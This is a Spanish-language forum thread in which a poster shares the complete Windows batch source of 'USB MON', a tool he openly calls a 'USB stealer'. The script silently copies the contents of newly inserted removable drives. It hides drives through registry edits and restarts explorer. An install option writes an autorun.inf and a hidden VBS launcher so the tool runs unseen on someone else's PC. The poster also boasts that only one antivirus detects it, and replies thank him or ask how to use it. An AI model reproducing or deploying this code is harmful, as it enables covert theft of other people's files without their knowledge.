[BATCH] [APORTE] USB MON (Roba USB)

Iniciado por Eleкtro, 27 Septiembre 2012, 12:55 PM

0 Miembros y 2 Visitantes están viendo este tema.

Eleкtro


- ¿Que es USB MON?

USB MON (USB Monitor) es un programa portable con el fín de monitorizar los nuevos dispositivos extraibles que se conecten a un PC y copiar automàticamente su contenido a la carpeta de USB MON.

USB MON no afecta a los dispositivos que ya se encuentren conectados a un PC en el momento que se ejecuta el programa.

En pocas palabras, USB MON es un "roba USB" automàtico.

- ¿USB MON es compatible con todas las versiones de Windows?

USB MON ha sido testeado únicamente en Windows 7, pero no debería dar problemas en Windows XP y Vista.

- ¿Como funciona USB MON?

Al ejecutar USB MON se obtiene una lista de las letras de las unidades conectadas al equipo en ese momento, esas letras se descartan y se comienza a monitorizar el resto de letras en el equipo.
(Por eso es conveniente los consejos de uso de USB MON)

Cuando USB MON detecta un dispositivo extraible insertado en alguna de las letras monitorizadas, se buscan archivos en esa unidad y se copian a la carpeta del programa, excluyendo duplicados de archivos que se hayan copiado anteriormente de esa misma unidad.



- ¿Los antivirus pueden detectar USB MON?

En mi último escaneo online solo lo ha detectado 1 de 42 antivirus:

DrWeb  BATCH.Virus
Fecha: 2012-09-26




PD: Más información importante en la ayuda extendida del script.


Los parámetros opcionales del programa:

Citar /?       | Muestra esta ayuda

-ayuda   | Muestra la ayuda extendida

-install | Instala USBMON en un dispositivo extraíble

-test    | Inicia un test en un dispositivo extraíble


USBMON.BAT
LEER LA PARTE DE "CONFIGURACIÓN" SI QUIEREN PERSONALIZAR ALGUNA COSA.

@Echo OFF

Title USB MON v0.2
REM By Elektro H@cker

Setlocal enabledelayedexpansion
Color 07

:: :: :: :: :: :: :: ::
::                   ::
::   CONFIGURACIÓN   ::
::                   ::
:: :: :: :: :: :: :: ::
::
::
:: Directorio de inicio
Set "DIR=%~d0"
::
:: Directorio del log
Set "LOGFILE=.\USBMON.log"
::
:: Letras a monitorizar
Set "DRIVES= B C D E F G H I J K L M N O P Q R S T U V W X Y Z "
::
:: Letras hexadecimales (NO TOCAR)
Set "DRIVES_HEX=A:1 B:2 C:4 D:8 E:16 F:32 G:64 H:128 I:256 J:512 K:1024 L:2048 M:4096 N:8192 O:16384 P:32768 Q:65536 R:131072 S:262144 T:524288 U:1048576 V:2097152 W:4194304 X:8388608 Y:16777216 Z:33554432"
::
:: Ocultar unidades vacías en "MI PC"                (ACTIVAR / DESACTIVAR)
Set "HideDrivesWithNoMedia=ACTIVAR"
::
:: Ocultar la unidad de inicio de USB MON en "MI PC" (ACTIVAR / DESACTIVAR)
Set "HideUSBMONDrive=DESACTIVAR"
::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

REM Inicio del LOG
Call :Logo
Call :Write_Log >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log Iniciando USB MON... >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log >NUL

REM Ocultar unidades vacías en "MI PC"
REG Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" >NUL 2>&1 && (
FOR /F "Tokens=3 Delims= " %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" 2^>NUL') do (
  Set "Value=%%a"
)) || (Set "Value=0x1")
IF /I "%HideDrivesWithNoMedia%" EQU "ACTIVAR" (
IF /I NOT "%Value%" EQU "0x0" (
Call :Write_Log [+] Ocultando las unidades va´c¡as en MI PC...
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "0" /F >NUL
) ELSE (
Set "HideDrivesWithNoMedia="
)
)

REM Ocultar la unidad de inicio de USB MON
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (
REG QUERY "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" >NUL 2>&1 && (SET "HideUSBMONDrive=") || (
Call :Write_Log [+] Ocultando la unidad de USB MON en MI PC [%DIR%]...
FOR %%# in (%DRIVES_HEX%) do (
Echo %%# | FIND "%DIR%" >NUL && (
Call SET "DIR_HEX=%%#"
CALL REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /T "REG_DWORD" /D "%%DIR_HEX:~2%%" /F >NUL
)
)
)
)

REM Reinicia el proceso explorer.exe
Echo " %HideDrivesWithNoMedia% , %HideUSBMONDrive% " | FINDSTR /I "\<ACTIVAR\>" >NUL && (
START /W Taskkill /F /IM "explorer.exe" >NUL
START /B explorer.exe
Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
)

REM Para revertir los cambios para "Ocultar unidades vacías en "MI PC"" en el próximo reinicio del sistema
IF /I NOT "%Value%" EQU "0x0" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrivesWithNoMedia" /D "CMD /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "1" /F >NUL" /F >NUL)
REM Para revertir los cambios para "Ocultar la unidad de inicio de USB MON" en el próximo reinicio del sistema
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" /D "CMD /C REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /F >NUL" /F >NUL)

REM Inicia el servicio de Disco Virtual para poder usar Diskpart
:SERVICE
Call :Logo
SC query "VDS" | FIND /I "PENDING" >NUL && (
Call :Write_Log Hay una detenci£n pendiente del servicio de Disco virtual.
Call :Write_Log Esperando a que el servicio pueda reanudarse para continuar...
Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
Goto :Service
)
SC query "VDS" | FIND /I "STOPPED" >NUL && (
Call :Write_Log El servicio de Disco virtual est... detenido.
Call :Write_Log Iniciando el servicio...
sc config "VDS" start= "demand" >NUL 2>&1
sc start "VDS" >NUL 2>&1 || (
Call :Write_Log
Call :Write_Log * ERROR CRÖTICO *
Call :Write_Log No se pudo iniciar el servicio de Disco virtual, Compruebe sus permisos de usuario.
Call :Write_Log Terminando el proceso...
Exit /B 1
)
) & (Call :Write_Log El servicio de Disco virtual se ha iniciado.)

REM Parámetros
IF    "%~1" EQU "/?"        (Goto :command_help)
IF /I "%~1" EQU "-ayuda"    (Goto :extended_help)
IF /I "%~1" EQU "-instalar" (Goto :install)
IF /I "%~1" EQU "-test"     (Goto :test)

REM Elimina archivos temporales de una sesión anterior
DEL /Q "%WINDIR%\Temp\USBMON*" 2>NUL

REM Elimina los discos fijos para la monitorizaci£n
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (Set "DRIVES=!DRIVES: %%# = !")

REM Elimina los dispositivos de DVD-ROM para la monitorizaci£n
For %%# in (%DRIVES%) DO (fsutil fsinfo drivetype %%#: | FIND /I "ROM" >NUL && (Set "DRIVES=!DRIVES: %%# = !"))

REM Monitoreo y auto-copiado
:MONITOR
Call :Logo
Echo Unidad de origen: [%DIR%]
Call :Write_Log Monitorizando unidades:!DRIVES!
Echo+ & Call :Write_Log >NUL
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (
Echo "%DRIVES%" | FIND /I "%%#" >NUL && (
For /F "Tokens=7,* delims= " %%A in ('Vol %%#: ^| FIND /I " %%# "') Do (
IF "%%B" EQU "tiene etiqueta." (Set "LBL=Sin etiqueta") ELSE (Set "LBL=%%B")
Call :Write_Log Hay un dispositivo conectado en la unidad [%%#:] con etiqueta "!LBL!"
)
Call :Write_Log  [+] Buscando archivos....
DIR /B /A "%%#:\*" >NUL 2>&1 && (
Call :Write_Log  [+] Copiando archivos de la unidad [%%#:] a la unidad [%DIR%]
MKDIR "%WINDIR%\Temp" 2>NUL
MKDIR "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!" 2>NUL
IF EXIST "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" (
XCOPY /A /C /E /H /J /K /O /Q /X "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\" /EXCLUDE:%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt
) ELSE (
XCOPY /A /C /E /H /J /K /O /Q /X /Y "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\"
)
DEL /Q "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" 2>NUL
PUSHD "%%#:\"
For /R %%a in (*) do (Echo %%a>>"%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt")
POPD
) || (
Call :Write_Log  [+] La unidad est... vac¡a...
)
)
)
)
Timeout /T 10 2>NUL || (Ping -n 10 localhost >NUL)
Goto :MONITOR

:LOGO
CLS
ECHO+
ECHO+                                                          .------.
ECHO+      _   _  ____   ____       __  __   ___   _   _       ^| from-.-----.
ECHO+     ^| ^| ^| ^|/ ___^| ^| __ )     ^|  \/  ^| / _ \ ^| \ ^| ^|      ^| that-^| -----^|
ECHO+     ^| ^| ^| ^|\___ \ ^|  _ \     ^| ^|\/^| ^|^| ^| ^| ^|^|  \^| ^|      ^| -usb-^| to---^|
ECHO+     ^| ^|_^| ^| ___) ^|^| ^|_) ^|    ^| ^|  ^| ^|^| ^|_^| ^|^| ^|\  ^|      ^| -----^| -my--^|
ECHO+      \___/ ^|____/ ^|____/     ^|_^|  ^|_^| \___/ ^|_^| \_^|      '------^| drive^|
ECHO+       By Elektro H@cker                                    v0.2 '------'                                        
ECHO+
GOTO:EOF

:WRITE_LOG
Echo %*
Call Echo [%DATE%] [%TIME: =%] %* >> "%LOGFILE%"
GOTO:EOF

:INSTALL

Call :Logo
Set "Extraibles="
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (Set "Extraibles=!Extraibles! %%#")
Echo Dispositivos extraibles conectados:!Extraibles! | MORE
Echo Escribe la letra del dispositivo donde se instalar... USB MON...
Set /P "DriveDest=>> "
If Not exist "%DriveDest%:" (Goto :Install) ELSE (Copy /Y %0 "%DriveDest%:\USBMON.bat" >NUL)
Call :Logo
Echo Unidad seleccionada: [%DriveDest%:] | MORE

COPY /Y "%CD%\%0.BAT" "%DriveDest%:\%0.BAT" >NUL

Choice /M "¨Quiere crear un autorun.inf?"

If "!ERRORLEVEL!" EQU "1" (
Choice /M "¨Quiere que USBMON se ejecute en modo oculto?"
If "!ERRORLEVEL!" EQU "1" (
Set "EXT=vbs"
(
Echo Set wshShell = CreateObject("WScript.Shell"^)
Echo wshShell.run """" ^& ".\%0.BAT" ^& """", 0
)>"%DriveDest%:\%0.vbs"
) ELSE (
Set "EXT=bat"
)
(
Echo [autorun]
Echo open=%0.!EXT!
Echo shell\USBMON=Ejecutar USB MON
Echo shell\USBMON\command=%0.!EXT!
Echo shell=USBMON
)>"%DriveDest%:\autorun.inf"
)
Call :Logo
Echo Gracias por utilizar USB MON           :^) | MORE
Pause&Exit /B 0

:TEST
Call :Logo
Echo: Comenzando el test... | MORE
Echo: [+] Buscando alguna unidad extra¡ble en el PC...
Echo list vol | diskpart | FIND /I "xtra" >NUL || (
Echo: * ERROR CRÖTICO *
Echo: Porfavor inserta un dispositivo extra¡ble en el PC.
Exit /B 1
)
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (
IF "%%#:" EQU "%DIR%" (
Echo: * ERROR CRÖTICO *
Echo: No debes ejecutar USB MON desde la unidad extra¡ble en este test.
Exit /B 1
)
Echo: [+] Unidad extra¡ble encontrada [%%#:] | MORE
Call :Write_Log Iniciando un test en la unidad [%%#:] >NUL
Set "DRIVES= %%# "
MKDIR "%WINDIR%\Temp" 2>NUL
DEL /Q "%WINDIR%\Temp\USBMON_[%%#]*" 2>NUL
)
Echo: Se procede a monitorizar la unidad [%DRIVES: =%:]...
Timeout /T 10 2>NUL || (Ping -n 5 localhost >NUL)
Goto :Monitor

:COMMAND_HELP
call :Logo
Echo: /?       ^^^| Muestra esta ayuda | MORE
Echo: -ayuda   ^^^| Muestra la ayuda extendida | MORE
Echo: -install ^^^| Instala USBMON en un dispositivo extra¡ble | MORE
Echo: -test    ^^^| Inicia un test en un dispositivo extra¡ble | MORE
Exit /B 0

:EXTENDED_HELP
Call :Logo
Echo - ¨Que es USB MON?
Echo   ________________ | MORE
Echo: USB MON (USB Monitor) es un programa portable con el f¡n de monitorizar
Echo: los nuevos dispositivos extraibles que se conecten a un PC
Echo: y copiar autom...ticamente su contenido a la carpeta de USB MON. | MORE
Echo: USB MON no afecta a los dispositivos que ya se encuentren conectados a un PC
Echo: en el momento que se ejecuta el programa. | MORE
Echo: En pocas palabras, USB MON es un "roba USB" autom...tico. | MORE
Pause&Call :Logo

Call :Logo
Echo - ¨USB MON es compatible con todas las versiones de Windows?
Echo   __________________________________________________________ | MORE
Echo: USB MON ha sido testeado £nicamente en Windows 7,
Echo: pero no deber¡a dar problemas en Windows XP y Vista. | MORE
Pause&Call :Logo

Echo - Consejos para un correcto uso de USB MON
Echo   ________________________________________ | MORE
Echo: Es conveniente ejecutar USB MON sin que hayan medios extraibles conectados
Echo: en ese momento al PC, ya que esa letra de unidad quedar¡a descartada. | MORE
Echo: Es NECESARIO ocultar las unidades vac¡as en MI PC. | MORE
Pause&Call :Logo

Echo - ¨Como funciona USB MON?
Echo   _______________________ | MORE
Echo: Al ejecutar USB MON se obtiene una lista de las letras de las unidades
Echo: conectadas al equipo en ese momento, esas letras se descartan
Echo: y se comienza a monitorizar el resto de letras en el equipo.
Echo: (Por eso es conveniente los consejos de uso de USB MON^) | MORE
Echo: Cuando USB MON detecta un dispositivo extraible insertado en alguna de las
Echo: letras monitorizadas, se buscan archivos en esa unidad y se copian
Echo: a la carpeta del programa, excluyendo duplicados de archivos
echo: que se hayan copiado anteriormente de esa misma unidad. | MORE
Pause&Call :Logo

Echo - ¨Como funciona las opciones de "Ocultar unidades" de USB MON?
Echo   _____________________________________________________________ | MORE
Echo Ocultar unidades vac¡as en "MI PC":
Echo: Se escribe una clave en el registro para ocultar las unidades visibles
Echo: sin medios insertados. | MORE
Echo Ocultar la unidad de inicio de USB MON en "MI PC":
Echo: Se escribe una clave en el registro para ocultar la unidad desde
Echo: donde se inicia USB MON. | MORE
Echo: Los cambios efectuados se revierten en el pr¢ximo reinicio del sistema.| MORE
Echo: Si alguna de las dos opciones está activada se reiniciará el proceso del
Echo: explorer.exe, para que los cambios surgan efecto al instante. | MORE
Pause&Call :Logo

Echo - ¨Los antivirus pueden detectar USB MON?
Echo   _______________________________________ | MORE
Echo: En mi £ltimo escaneo online solo lo ha detectado 1 de 42 antivirus: | MORE
Echo: DrWeb  BATCH.Virus
Echo: Fecha: 2012-09-26 | MORE
Pause&Call :Logo

Echo - ¨Que es un autorun.inf?
Echo   _______________________ | MORE
Echo: Un autorun es un archivo de personalizaci¢n preconfigurado para USB/CD/DVD.
Echo; Se puede personalizar el aspecto del dispositivo, y ejecutar un proceso. | MORE
Echo: Un autorun es detectado por el servicio de Reproducci£n autom...tica de windows,
Echo; La ejecuci¢n del autorun depende de que el servico est, habilitado en el PC. | MORE
Echo: El servicio se puede habilitar desde la herramienta "Services.MSC". | MORE
Pause&Call :Logo

Echo - ¨Para que sirve la opci¢n "-instalar" de USB MON?
Echo   _________________________________________________ | MORE
Echo: Sirve para portabilizar el programa hacia una unidad extraible. | MORE
Echo: La opci¢n est... pensada para ser instalada en un pendrive, as¡, con
Echo: la ayuda de un autorun.inf, poder insertar el pendrive en otro equipo,
Echo: y monitorizar ese equipo para copiar los otros medios EXTRAIBLES a tu pendrive. | MORE
Pause&Call :Logo

Echo - ¨Para que sirve la opci¢n "-test" de USB MON?
Echo   _____________________________________________ | MORE
Echo: Sirve para realizar una peque¤a prueba de monitorizaci¢n en una
Echo: unidad extra¡ble aleat¢ria de tu PC. | MORE
Echo: Es una prueba para ver si todo funciona con normalidad. | MORE
Echo: PD: El test ha de cancelarse manualmente apretando "CTRL + C" o cerrando CMD. | MORE
Pause&Call :Logo

Echo - Cuando intento instalar USB MON con el autorun.inf no me funciona, ¨Porqu,?
Echo   ___________________________________________________________________________ | MORE
Echo Windows XP/Vista:
Echo: El servicio de "Reproducci¢n autom...tica" debe estar activado en el equipo. | MORE
Echo Windows 7:
Echo: Microsoft deshabilit£ POR COMPLETO el uso de un autorun.inf en pendrives,
Echo: La £nica manera de ejecutar un autorun.inf es disponer de un pendrive,
Echo: que se haga pasar por un dispositivo de CD-ROM para auto-reproducirse. | MORE
Echo: PD: Inf¢rmate en internet sobre el modelo de pendrive antes de adquirirlo. | MORE
Pause&Call :Logo

Echo - ¨Donde puedo conseguir m...s programas tuyos?
Echo   ___________________________________________ | MORE
Echo: No tengo ninguna web ni blog personal, pero puedes visitar www.elhacker.net | MORE
Echo: All¡ encontrar...s m...s scripts £tiles de todo tipo usando el buscador del foro,
Echo: Tambi,n me encontrar...s moderando la secci¢n de Scripting, donde siempre estar,
Echo: dispuesto y encantado de resolver tus dudas. | MORE
Pause&Exit/B 0




Espero que les sirva de ayuda  ;D
Comuniquen si existiera algún fallo en general o de compatibilidad con XP.

Gracias.








Eleкtro

VERSIÓN 0.2

- (Corregido) Se me pasó por alto copiar el archivo principal al crear el autorun xD.

- (Agregado) Una opción para ejecutar USB MON en modo oculto (Desde el autorun)

Saludos








Geormarsch

Excelente, cuando llege a mi casa lo pruebo c:

ERES UN BOSS
"Comentar el código es como limpiar el cuarto de baño; nadie quiere hacerlo, pero el resultado es siempre una experiencia más agradable para uno mismo y sus invitados"

Ahorsa

Gracias amigo, buen aporte!. Solamente una duda, si ese usb tiene por ejemplo 16Gb, y tiene no sé algunos 10gb utilizados, no tardaría en pasarse todo?

Gracias por el aporte :)

Eleкtro

@Ahorsa
Los pendrives son lentos, es lo que tiene... xD

PD: USBMON espera a que se terminen de copiar los archivos...

gracias por comentar, un saludo








Stakewinner00


Puroguramu

¡Es increíble!, ¿Cuanto tiempo te ha llevado hacerlo? Parece complicado.  :o
Algún día yo haré cosas como estas... Algún día...  :-\

Eleкtro

Cita de: Puroguramu en 30 Septiembre 2012, 21:09 PM¡Es increíble!, ¿Cuanto tiempo te ha llevado hacerlo?
Gracias
Pues desde que lo comenté en -> este post <- Solo 2 días, y 1 día más para testearlo en busca de errores.

ánimo, batch no es dificil

un saludo!








futurehack

Buenas de nuevo,

Después de varios días sin que dieras señales por privado, te reescribo de nuevo el asunto que acontece este comentario.

Te comento los pasos que sigo para utilizar USBMON :
Abro el bat como administrador
CMD, y ejecuto : USBMON -install
Se abre otra shell en el cual me aparece lo de DISKPART.

No se que hacer ha partir de ahí para poder instalarlo en el USB.




Uploaded with ImageShack.us


Saludos,
Futurehack
-----Mis palabras son mis armas mas no creas que las usare en tu contra para desperdiciarlas.-----
-----------------------Futurehack------------------------

crazykenny

Dicho sea de paso, y, aunque pueda ser algo tarde para decirlo, muchas gracias por el aporte.
Muchas gracias por vuestra atencion.
Saludos.
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
http://informaticayotrostemas.blogspot.com.es/2013/12/situacion-de-la-educacion-actual-en.html
https://informaticayotrostemas.blogspot.com/